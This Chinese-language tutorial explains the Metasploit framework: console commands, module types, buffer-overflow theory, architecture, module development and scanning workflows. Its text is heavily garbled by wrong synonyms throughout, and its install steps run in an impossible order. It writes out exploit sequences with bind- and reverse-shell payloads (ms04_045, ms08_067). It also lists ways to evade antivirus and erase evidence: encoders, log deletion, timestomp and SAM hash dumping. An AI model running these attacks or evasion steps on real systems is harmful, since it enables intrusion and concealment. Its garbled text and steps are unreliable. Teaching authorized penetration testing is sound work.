Metasploit 渗透测试框架包含3功能模块:
msfconsolemsfwebmsfupdatemsfupdate用于软件更新,建议利用前前辈行更新,可以更新最新的漏洞库和利用代码。msfconsole 是全体框架中最受欢迎的模块,所有的功能都可以在该模块下运行。msfweb 是Metasploit framework的web组件支持多用户,是Metasploit图形化接口。msfconsole
msfconsole是MSF中最紧张最常用的功能组件,利用集成化的利用方法,可以利用MSF中的所有命令和模块,支持很多其它接口办法不支持的功能。

msfconsole紧张有以下特点:
支持命令完成功能(tab键)支持外部命令实行(可以实行系统命令)利用流程
help命令
和其它基于命令行的程序一样,利用?或者help可以显示MSF所支持的命令,如下为MSF内置的全部命令。
show命令
在msfconsole中键入show,系统会显示Metasploit的所有模块,若想显示某一类型的模块可以加入模块名称,最常用的紧张有一下三个:
show payloadsshow exploitsshow auxiliary。show auxiliary显示Metasploit中的可用赞助模块列表,这些赞助模块包括scanner、dos、fuzzer等show exploits 显示Metasploit中包含的所有可以利用的攻击类型列表。show payloads 显示Metasploit中可以在不同平台中可以在远程主机实行的代码,即shellcode。注:在利用详细的exploit时,只显示该平台支持的payload,例如:在利用ms08-067时,只显示windows平台可以利用的payload。show options 显示可利用模块exploit的设置、条件、描述等。在详细的模块中利用,后面use命令中会有实例。show targets 显示可利用模块exploit支持的目标类型(操作系统、软件版本等)。在详细的模块中利用,后面use命令中会有实例。show advanced 显示可利用模块exploit高等信息,自定义利用程序时利用。在详细的模块中利用,后面use命令中会有实例。show encoders 显示可利用模块exploit的编码办法,在详细的模块中利用,后面set命令中会有实例。search命令
search 命令是最常用的命令之一,用于查找各种exploit、payload、auxiliary等,命令支持基于正则表达式的模糊查询。如下为查找ms08-067实例:
info命令
info用于显示分外模块的详细信息,显示内容包括该模块的选项、目标及其它信息。以下是利用info命令显示ms08-067实例:
use命令
use命令用于利用分外的模块,如利用程序、shellcode或赞助模块等。以ms08-067为例,模块名称必须包含完全的路径,可以通过search命令搜索,以下还演示了show options、show targets命令的利用。
conect 命令
connect命令可以连接到远程主机,连接办法和nc、telnet相同,可以指定端口,如下为connect命令演示:
set命令
set命令用于当前利用模块的选项和设置参数。
set payload xxx/xxx z设置溢出代码
set encoder xxx/xxx 设置利用程序编码办法
set target xxx 设置目标类型
set xxx xxx 设置参数
check命令
部分exploit支持check命令,该命令用于检测目标系统是否存在漏洞,而不是进行溢出操作。如下:解释目标系统不存在漏洞
设置全局变量
Metasploit 支持设置全局变量并可以进行存储,下次登录时直策应用。设置全局变量利用setg命令,unsetg撤销全局变量,save用于保存全局变量。如下所示:
exploit/run命令
设置好各个参数后,可以利用exploit命令实行溢出操作,当利用了自定义auxiliary参数时,须要用run命令实行操作。
resource命令
resource命令可以加载资源文件,并按顺序实行文件中的命令。
irb命令
运行irb命令,进入irb脚本模式,可以实行命令创建脚本。
(二)安装[root@k8s-master p3]# curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb[root@k8s-master p3]# ./msfinstall [root@k8s-master p3]# chmod 755 msfinstall [root@k8s-master p3]# msfconsole -vFramework Version: 5.0.25-dev-(三)利用启动
msfconsole
理解基本命令?或者 help
例show exploits用于展示Metaploit目录中所有可用的漏洞利用代码和攻击载荷。
info exploit/windows/wins/ms04_045_wins
use exploit/windows/wins/ms04_045_wins
set RHOST 192.168.1.250 设置目标set RPORT 36568 设置端口set PAYLOAD generic/shell_bind_tcp 设置利用的shellcodeexploit 实行攻击(四)Metasploit攻击方法分类
利用的版本共有:
635种溢出(exploit)模块314种赞助(auxiliary)模块215种加载(payload)模块27种编码(encoder)8种nops。exploits总的来说共分为两类溢出(exploit)攻击方法,即主动溢出和被动溢出
主动溢出是针对目标主机的漏洞主动的进行攻击以得到掌握权限被动溢出是针对目标主机被动的监听然后得到相应的操作。在所有的exploit中,针对windows平台的最多,比其它所有平台的总和还要多。
缓冲区溢出是指当打算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,空想的情形是程序检讨数据长度并不许可输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患.操作系统所利用的缓冲区又被称为\公众堆栈\公众. 在各个操作进程之间,指令会被临时储存在\公众堆栈\公众当中,\公众堆栈\"大众也会涌现缓冲区溢出。
缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、运用程序中广泛存在。利用缓冲区溢出可民导致程序运行失落败、系统去世机、重新启动等后,也可以利用其得到非授权指令,乃至系统特权,进而进行各种造孽的操作。
在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出。缓冲区溢出中,最为危险的是堆栈溢出,由于入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导申谢绝做事,其余一种便是跳转并且实行一段恶意代码,比如得到shell,然后为所欲为。
通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而毁坏程序的堆栈,造成程序崩溃或使程序转而实行其它指令,以达到攻击的目的。造成缓冲区溢出的缘故原由是程序中没有仔细检讨用户输入的参数。
随便往缓冲区中填东西造成它溢出一样平常只会涌现\公众分段缺点\公众(Segmentation fault),而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell实行其它命令。如果该程序属于root且有suid权限的话,攻击者就得到了一个有root权限的shell,可以对系统进行任意操作了。
缓冲区溢出攻击之以是成为一种常见安全攻击手段其缘故原由在于缓冲区溢出漏洞太普遍了,并且易于实现。而且,缓冲区溢出成为远程攻击的紧张手段其缘故原由在于缓冲区溢出漏洞给予了攻击者他所想要的统统:植入并且实行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的掌握权。
缓冲区溢出攻击的目的在于扰乱具有某些特权运行的程序的功能,这样可以使得攻击者取得程序的掌握权,如果该程序具有足够的权限,那么全体主机就被掌握了。一样平常而言,攻击者攻击root程序,然后实行类似\公众exec(sh)\"大众的实行代码来得到root权限的shell。为了达到这个目的,攻击者必须达到如下的两个目标:
1. 在程序的地址空间里安排适当的代码。
2. 通过适当的初始化寄存器和内存,让程序跳转到入侵者安排的地址空间实行。
每当一个函数调用发生时,调用者会在堆栈中留下一个活动记录,它包含了函数结束时返回的地址。攻击者通过溢出堆栈中的自动变量,使返回地址指向攻击代码。通过改变程序的返回地址,当函数调用结束时,程序就跳转到攻击者设定的地址,而不是原来的地址。这类的缓冲区溢出被称为堆栈溢出攻击(Stack Smashing Attack),是目前最常用的缓冲区溢出攻击办法。
函数指针可以用来定位任何地址空间。例如:\"大众void ( foo)()\"大众声明了一个返回值为void的函数指针变量foo。以是攻击者只需在任何空间内的函数指针附近找到一个能够溢出的缓冲区,然后溢出这个缓冲区来改变函数指针。在某一时候,当程序通过函数指针调用函数时,程序的流程就按攻击者的意图实现了。它的一个攻击范例便是在Linux系统下的superprobe程序。
在C措辞中包含了一个大略的考验/规复系统,称为setjmp/longjmp。意思是在考验点设定\公众setjmp(buffer)\"大众,用\公众longjmp(buffer)\"大众来规复考验点。然而,如果攻击者能够进入缓冲区的空间,那么\"大众longjmp(buffer)\"大众实际上是跳转到攻击者的代码。象函数指针一样,longjmp缓冲区能够指向任何地方,以是攻击者所要做的便是找到一个可供溢出的缓冲区。
在metasploit中溢出模块(Exploit)共分为13种,分别是:ais、bsdi、dialup、freebsd、hpux、irix、linux、multi、netware、osx、solaris、unix、windows。个中windows下面的最多。
赞助(Auxiliary)模块共分为13种,分别是admin、client、crawler、dos、fuzzers、gather、pdf、scanner、server、sniffer、spoof、sqli、voip。
加载(payload)模块共分为13种,分别是aix、bsd、bsdi、cmd、generic、java、linux、netware、osx、php、solaris、tty、windows。
(五)Metasploit架构Metasploit Framework并不止具有exploit(溢出)网络功能,它使你专注于创建自己的溢出模块或者二次开拓。很少的一部分用汇编和C措辞实现,别的均由ruby实现。总体架构如图9所示:
TOOLS 集成了各种实用工具,多数为网络的其它软件PLUGINS 各种插件,多数为网络的其它软件。直接调用其API,但只能在console模式下事情。MODULES 目前的Metasploit Framework 的各个模块MSF core 表示Metasploit Framework core 供应基本的API,并且定义了MSF的框架。并将各个子系统集成在一起。组织比较散乱,不建议变动。MSF Base 供应了一些扩展的、易用的API以供调用,许可变动Rex LIBRARIES Metasploit Framework中所包含的各种库,是类、方法和模块的凑集CLI 表示命令行界面GUI 图形用户界面Console 掌握台用户界面Web 网页界面,目前已不再支持Exploits 定义实现了一些溢出模块,不含payload的话是一个AuxPayload 由一些可动态运行在远程主机上的代码组成Nops 用以产生缓冲区添补的非操作性指令Aux 一些赞助模块,用以实现赞助攻击,如端口扫描工具Encoders 重新进行编码,用以实现反检测功能等 /msf3/plugins紧张包括一些数据库插件、会话插件、线程插件、socket插件等;/ postgresql/lib/plugins紧张是postgresql的调试插件和剖析插件。还有一些其它的插件,比如ruby插件等。/tools紧张是一些赞助工具,如vncviewer、7za等。/msf3/tools紧张是一些转化工具,如memdump、ruby工具等。 MSF core定义了全体软件的架构办法,供应了一些基本的API,紧张由汇编和C措辞来实现,一样平常情形下不许可直接调用。共有136个汇编文件,7个.h文件,681个.C文件。MSF core组织的比较散乱,不建议变动。汇编部分紧张完成的是与相应的操作系统(如windows、linux等)有关的功能,紧张是shellcode的实现等。C措辞完成的功能比较多,紧张是meterpreter的实现和一些工具性的运用,包括ruby干系、内存干系(如memdump.c,属于memdump软件包,用于在DOS和Windows 9x 中dump或copy 4GB以内的地址空间)、网络干系(pcaprub.c,属于libpcap软件包的一部分,是ruby中网络的一部分)、反检测干系(timestomp.c,属于timestomp软件,用于修正文件的韶光戳)等。其工具性的运用多是直接来自于其它工具软件。Meterpreter是MSF core中最主要的一部分,其本身是一个具有多种功能的动态payload,并且可以在运行时动态扩展。它供应了交互式shell的根本。全体运行在内存当中,但它并不创建新的进程,并且利用了加密的通信方法,能有效避免检测。 MSF base分布在很多文件夹当中,定义了大量的实用API,例如svn API、scan API、encode API、更新API、操作API、数据库API、exploit API、GUI API、java API、meterpreter API、php API、snmp API、模块API、ruby API、网络API等……紧张供modules下的干系程序进行调用,开拓职员也可直接调用其API。
(六)Metasploit二次开拓方法
Metasploit中的类和方法具有很好的可读性,并且采取了元编程的思想,使得进行二次开拓更加方便快捷。大略的说一个程序能够产生另一个程序,便是元编程。ruby、python等均可方便的采取元编程思想。metasploit中前四个字母恰好是meta,预测其是Metaprogramming的含义。
Metasploit中所有的模块都从Msf::Module中继续,并且所有的模块有一个共享的API库。
在Metasploit中修正的exploit、payload等模块时,直接找到相应的文件修正并保存,重新启动console即可看到自己修正后的模块的效果。
在metasploit当中增加exploit、auxiliary等模块时,最快捷的方法是仿照现有的模块办法、利用metasploit中供应的协议(比如利用metasploit中的socket方法,而不该用ruby中的socket方法,meterpreter对socket进行的封装和扩展功能,利用起来更加方便,增加了代理、ssh等特色)。模块写好后放在相应的目录,重新启动console即可看到自己所增加的模块部分。
下面是一些攻击常常利用的模块的位置。
auxiliary模块位于/msf3/modules/auxiliary/下。Exploits模块位于/msf3/modules/exploits/下。Payloads模块位于/msf3/modules/payloads/下。Nops模块位于/msf3/modules/nops下。Encoders模块位于/msf3/modules/encoders/下。
其余在core部分也有一些exploit、aux等,其浸染是为上述的攻击部分供应根本,被上述模块调用。在windows或是在linux中都利用上述方法进行二次开拓。后面会详细的先容新增一个exploit的方法和过程。
(七)安全软件常用检测方法
1 基于事务发生的韶光戳,韶光
2 创造可疑文件时,探求其它具有类似MAC地址的文件,位置
3 根据文件扩展名和署名,文件特色
4 对付系统内文件创建MD5校验,内容
5 查找相应的关键字,关键字
6 对文件的内容进行行为剖析,行为剖析。安全软件预先知道大量的病毒指令序列,可对文件内容进行检测,如果创造匹配的序列就发出警告。
7 检讨当前的进程、端口、文件系统等,状态检讨
8 在文件写入磁盘时进行检测。
(八)Metasploit反检测方法针对安全软件常用的检测方法,metasploit当中集成了一些反检测的方法。还有一些相应的建议。
1 在metasploit中利用了meterpreter方法供应一些实用的API。但是meterpreter全体运行在内存当中;但它并不创建新的进程;并且利用了加密的通信方法;并且能够有效的肃清入侵证据。全体过程大约在1秒内完成。避免了一些安全软件对付进程的检测。
2 内置了27种encode模块,可对metasploit中的exploit进行编码(encode),以避免反病毒软件检测。27 种encode如下:
Name Rank Description---- ---- -----------cmd/generic_sh good Generic Shell Variable Substitution Command Encodercmd/ifs low Generic ${IFS} Substitution Command Encodercmd/printf_php_mq good printf(1) via PHP magic_quotes Utility Command Encodergeneric/none normal The \公众none\"大众 Encodermipsbe/longxor normal XOR Encodermipsle/longxor normal XOR Encoderphp/base64 great PHP Base64 encoderppc/longxor normal PPC LongXOR Encoderppc/longxor_tag normal PPC LongXOR Encodersparc/longxor_tag normal SPARC DWORD XOR Encoderx64/xor normal XOR Encoderx86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoderx86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoderx86/avoid_utf8_tolower manual Avoid UTF8/tolowerx86/call4_dword_xor normal Call+4 Dword XOR Encoderx86/context_cpuid manual CPUID-based Context Keyed Payload Encoderx86/context_stat manual stat(2)-based Context Keyed Payload Encoderx86/context_time manual time(2)-based Context Keyed Payload Encoderx86/countdown normal Single-byte XOR Countdown Encoderx86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoderx86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoderx86/nonalpha low Non-Alpha Encoderx86/nonupper low Non-Upper Encoderx86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoderx86/single_static_bit manual Single Static Bitx86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoderx86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
很多反病毒软件是基于署名(signature-based)技能来进行病毒检测的,metasploit可以利用相应的payload将署名变动,从而达到反检测的目的。比如对一个软件采取多种编码方法以应对安全软件的检测,比如\"大众ABC\公众这三个字母对付某个漏洞而言具有攻击性,编码时对每个字母采取不同的编码办法以躲避安全软件的检测。
3 内置日志删除模块,可以删除相应的事务日志,以避免检测。
4 metasploit framework中集成了timestomp(用于修正文件韶光戳)、slacker(用于隐蔽文件)、SAM Juicer(meterpreter的一部分,用于从SAM中转储哈希)、假造MAC地址等工具用于肃清入侵证据。
5 避免利用一些明显具有木马或病毒含义的名子或关键字,如\公众灰鸽子\"大众等肯定会引起安全软件的把稳。
6 所开拓的模块只管即便放在目标机多个存储位置,以避免所有的模块被安全软件一次打消
7 攻击安全软件,使安全软件失落效,目前还未开拓。
(九)一样平常攻击的过程1 得到EIP。IP是指令寄存器,存放当前指令的下一条指令的地址,CPU该实行哪条指令便是通过IP来指示的。EIP为32位机的指令寄存器,存放的是相对地址,也便是基于段基址的偏移值。CPU的ESP寄存器存放当前哨程的栈顶指针,EBP存放当前哨程的栈底指针。
2插入shellcode。Shellcode实际上是一段代码或填充数据,用来发送到做事器利用特定的漏洞的代码,一样平常可以获取权限。其余,shellcode一样平常是作为数据发送给受攻击做事的。Shellcode是溢出程序或病毒的核心。紧张针对没有打补丁的主机有浸染。Shellcode一样平常用C措辞或汇编措辞编写,C措辞编写较快,汇编措辞便于掌握shellcode的天生。一个shellcode只能为特定的平台所利用,不能供多个溢出程序、操作系统利用。
Shellcode即可以是本地的也可以是远程的。本地shellcode紧张是一名攻击者为了获取本地打算机权限,例如一段缓冲区溢出程序成功实行后可以得到一定的权限。
远程shellcode紧张是一名攻击者为了得到本地网络或互联网上另一台主机的掌握权限,如果成功落后击者可以通过网络得到目标主机的掌握权限。如果它可以连接攻击者和被攻击者,称为反向连接shellcode。如果它通过绑定一个相应的端口来进行掌握,称之为bindshell。第三种shellcode非常分外,它在目标机上创建一个可以让攻击者重复利用的连接,而这个连接是建立在目标机现有的连接之上,并不创建新的连接。这种shellcode最难创建也最不随意马虎被检测。
3反向连接shell
即将目标主机当做做事,攻击者机器作为客户端。
4 添加用户或其它
(十)恶意软件分类
1 特洛伊木马(Trojan horse)潜茂在其它有用的软件中履行恶意操作的指令。常日将编写程序时就已经安装的恶意指令称为特洛伊木马,在程序编写完后加入的恶意代码称为病毒。
2 病毒(virus) 在实行之后能将自身植入到其它程序中的指令。病毒安装在其它程序的办法:更换任意指令,比如在X处的指令更换成跳转到内存的其他某个地方Y,然后在Y处实行病毒代码,然后在病毒代码后加入口令,使病毒代码实行完后跳到X+1处。
蠕虫(worm)能自我复制并通过网络将自己安装在其他打算机上的程序。陷门(trapdoor)故意在程序中加入未开放的入口,常常用于调试程序,也可以作为安全漏洞利用。逻辑炸弹(logic bomb)在未来根据特定条件启动的恶意指令,比如在特定的韶光启动。僵尸(zombie) 在其他打算机上安装的恶意代码,可通过远程掌握这种代码的办法履行攻击,由于攻击来自其它主机,这种办法更难追踪。攻击者常常安装大量的僵尸以制造大量的网络流量。(十一)exploits详细解析之proftp_telnet_iac.rbMetasploit中的exploit部分设计目标是供应一个开拓exploit大略方法,供应了大量的库,并且利用了ruby中的Mix-in(糅和或稠浊插入)方法实现多重继续,以便于让二次开拓职员能够快速的进行二次开拓。
所有的exploit都具有类似的构造,每一个exploit开始都有一个initialize;其次定义了check方法,此方法并不是必须的;末了定义了exploit方法。
在initialize方法中,含有本exploit的描述信息(作者、漏洞溢出方法描述)、利用选项(设定主机IP、端口号等)和shellcode部分。
Check方法并不是必须的,紧张是检讨目标机的情形,比如目标机是否易受攻击,本溢出方法是否适宜攻击目标机等。检讨完后返回一些已经预定义好的值(后面的注释为自我理解,可能不足准确),如下:
CheckCode::Safe 目标机安全,攻击可能无效CheckCode::Detected 目标机供应了相应的做事CheckCode::Appears 目标机已经被传染CheckCode::Vulnerable 目标机易受攻击CheckCode::Unsupported 本exploit对目标机不可用
Exploit方法紧张是连接到目标主机,实行shellcode等。
将其直接放在msf3\modules\exploits\windows\imap\目录下,再查找一次。
仍旧是没有找到,重新console,然后再进行查找。
在上图中可以看到,已经查找到了新增加的exploit。下面看是否能利用,对其利用use,然后查看其选项。
然后设定目标IP(本例中设定了自己建立的虚拟机)并进行check,由于虚拟机中并没有安装相应的做事,以是check的时候失落败。
(十二)利用场景1、情报搜集
(1) 信息搜索
nslookup与dig域名查询
(2) 主机探测与端口扫描
Nmap进行主机探测
nmap -sn 192.168.1.0/24
(ICMP包探测,Ping扫描,适宜内网,外网随意马虎被防火墙过滤掉)
nmap -Pn -sn 192.168.1.0/24
(UDP包探测,适宜Internet环境,功能类似于metasploit的udp_sweep模块)
nmap的端口扫描功能
nmap -sV -Pn 192.168.1.2
(3) 做事扫描与查点
SSH做事扫描
SSH做事口令预测(此模块须要自己设置或者导入USERNAME或者PASS_FILE文件作为预测的依据)
2、web漏洞扫描
流程:
第一步:db_connect连接数据库第二步:db_status 查看数据库状态第三步:load wmap 加载wmap模块第四步:wmap_sites -a url 添加扫描站点wmap_sites -l 查看已添加的站点第五步:wmap_targets -t url或wmap_targets -d id 根据站点ID,设置目标站点wmap_targets -l 检讨已待扫描的目标主机第六步:wmap_run -e 对目标启动 WMAP扫描第七步:vulns 和 wmap_vulns -l 查识破绽详细信息3、天生恶意攻击脚本
流程:
第一步:search name 如search ms08_067,会显示出找到的渗透模块第二步:use name 如use exploit/windows/smb/ms08_067_netapi,漏洞模块的利用第三步:info 查看模块信息第四步:show payloads会显示出有效的攻击载荷,比如shell_reverse_tcp第五步:set payload 如set payload generic/shell_reverse_tcp设置攻击有效载荷第六步:show targets会显示出可以被攻击的靶机的操作系统型号第七步:set targets num 设置目标的系统类型第八步:show options 显示须要在攻击前须要设置的数据第九步:set name 设置参数,如set LHOST “本机IP”, set RHOST “目标IP”第十步:exploit 开始攻击或天生带有攻击代码的文档等第十一步:session –l –v列出所有可用的交互会话以及详细信息